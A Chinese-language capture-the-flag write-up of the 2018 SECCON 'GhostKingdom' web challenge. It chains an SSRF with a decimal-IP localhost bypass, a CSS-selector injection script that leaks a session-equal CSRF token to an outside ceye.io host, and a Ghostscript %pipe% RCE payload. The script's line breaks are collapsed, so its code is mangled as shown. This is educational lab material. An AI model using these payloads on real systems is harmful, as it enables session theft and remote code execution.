【技術分享】2018 SECCON CTF—GhostKingdom Writeup
SECCON CTF的這WEB題比較有趣,結合了CSS注入和GhostScript的RCE,都是比較新的東西,現將過程整理和記錄作為分享和總結:
一、探索功能與初步思路
訪問題目,首先是提示了FLAG所在路徑就是./FLAG/

點擊進入TOP后,進入到一個登錄頁面,具有基礎的登錄和注冊功能

經過測試,登錄和注冊功能不存在SQL注入,于是嘗試注冊賬號并且登錄,登錄后頁面內容如下:

登錄的用戶提供了兩個功能,分別是給管理員留言,以及遠程訪問一個URL并將訪問頁面截圖返回
上傳圖片功能被限制,提示是:
Only for users logged in from the local network
1 留言功能頁面(自定義CSS)

留言選擇Emergency時,進入預覽頁面后如下所示,其中有個css參數是base64編碼過的,比較引人注意:

將base64解碼后可以看到,是一段CSS代碼,并且內容出現在HTML頁面中,這是一個重要的點!意味著可能存在XSS
&css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9解碼后:span{background-color:red;color:yellow}

嘗試插入其他內容打XSS,如JS標簽,但是輸出點對內容進行了實體化編碼,無法繞過
應該是只能通過CSS做些事情了!

2 訪問提交的URL并反饋截圖的頁面(SSRF)

以www.baidu.com為例,測試返回結果,返回了訪問百度頁面的截圖

測試訪問CEYE,查看訪問記錄

3 上傳圖片功能被限制
這里存在的上傳圖片功能是未開啟的,提示需要從本地網絡登錄的用戶才能使用,首先嘗試了使用XXF(X-Forwarded-For)等偽造頭進行繞過,但是不能成功
自然地,想到了上面第2點提到的存在SSRF,是否能夠通過第2點的功能來從本地登錄呢?查看用戶登錄頁面的請求,果然是GET形式的,這樣就方便通過第2點功能來SSRF從本地登錄用戶了

不過,如果在URL中存在如127、local等會被攔截

這里可以使用數字IP地址進行繞過
http://2130706433/?user=yunsle&pass=123456&action=login&action=sshot2

返回的截圖中,可以看到成功了,圖片上傳的功能是正常開啟的,但是通過截圖是看不到圖片上傳的URL的,接下來怎么樣才能獲取到圖片上傳功能的URL成為了關鍵點

二、CSS注入-爆破CSRF Token
到這里陷入了僵局,似乎SSRF已經不能做到更多了,但是卻指引了思路從功能來看,現在只有之前挖掘的CSS任意注入還沒有發揮作用。如果能夠在剛剛的頁面上,配合SSRF和XSS,能夠輕松獲得服務器端以本地身份登錄的用戶的COOKIE,這樣可能可以直接偽造憑證登錄,看到上傳圖片的功能。但是這里似乎XSS行不通,怎么樣才能利用上呢?
嘗試了在CSS中執行javascript,如
background: url(javascript:alert(1))
但是并不能執行js代碼(存在疑惑),到這里,只能完全放棄使用js的想法,開始尋找用CSS來打COOKIE的可能。。。
這時,有個細節引起了注意,在CSS樣式存在問題的頁面,用于防范CSRF的input標簽的value值,和SESSION的COOKIE值是一樣的

那么,如果獲取到這個input標簽的value值,就能拿到COOKIE了!
如何能夠通過CSS樣式,來獲取這個input標簽的value值呢?
這里可以參考:https://www.freebuf.com/articles/web/162445.html
主要思路是利用CSS選擇器匹配,來發起請求:
input[value^="6703"] {background-image:url("http://mhv3ii.ceye.io/6703");}
我的簡陋逐位爆破腳本,配合CEYE一起看(耗時比較久!):
import base64import requestsimport time
url = "http://ghostkingdom.pwn.seccon.jp/?url="
cookie = {"CGISESSID":"db579456a3a04ae86d19aa"}
for c in range(48,59):print(chr(c)) css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}" css_b64 = base64.b64encode(css) r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2" res = requests.get(url=url+r_url, cookies=cookie)print(css_b64)print(res.content) time.sleep(30)
for c in range(97,127):print(chr(c)) css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}" css_b64 = base64.b64encode(css) r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2" res = requests.get(url=url+r_url, cookies=cookie)print(css_b64)print(res.content) time.sleep(30)

最終拿到了COOKIE,并且偽造該COOKIE成功登陸:

三、GhostScript的RCE漏洞
圖片上傳功能提示上傳Jpeg圖片文件

上傳后存在一個將該Jpeg文件轉為Gif文件的功能,查看轉換的URL:
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert
其中ghostMagick.cgi引起了注意,正好查看最近的GhostScript存在一個RCE漏洞
可以參考:https://www.anquanke.com/post/id/157380
構造利用的Jpeg文件,通過ls ./FLAG查看FLAG目錄:
%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%ls FLAG) currentdevice putdeviceprops

RCE成功返回執行結果,訪問FLAG路徑下的FLAGflagF1A8.txt即可拿到flag

四、Reference
https://www.freebuf.com/articles/web/162445.html
https://www.anquanke.com/post/id/157380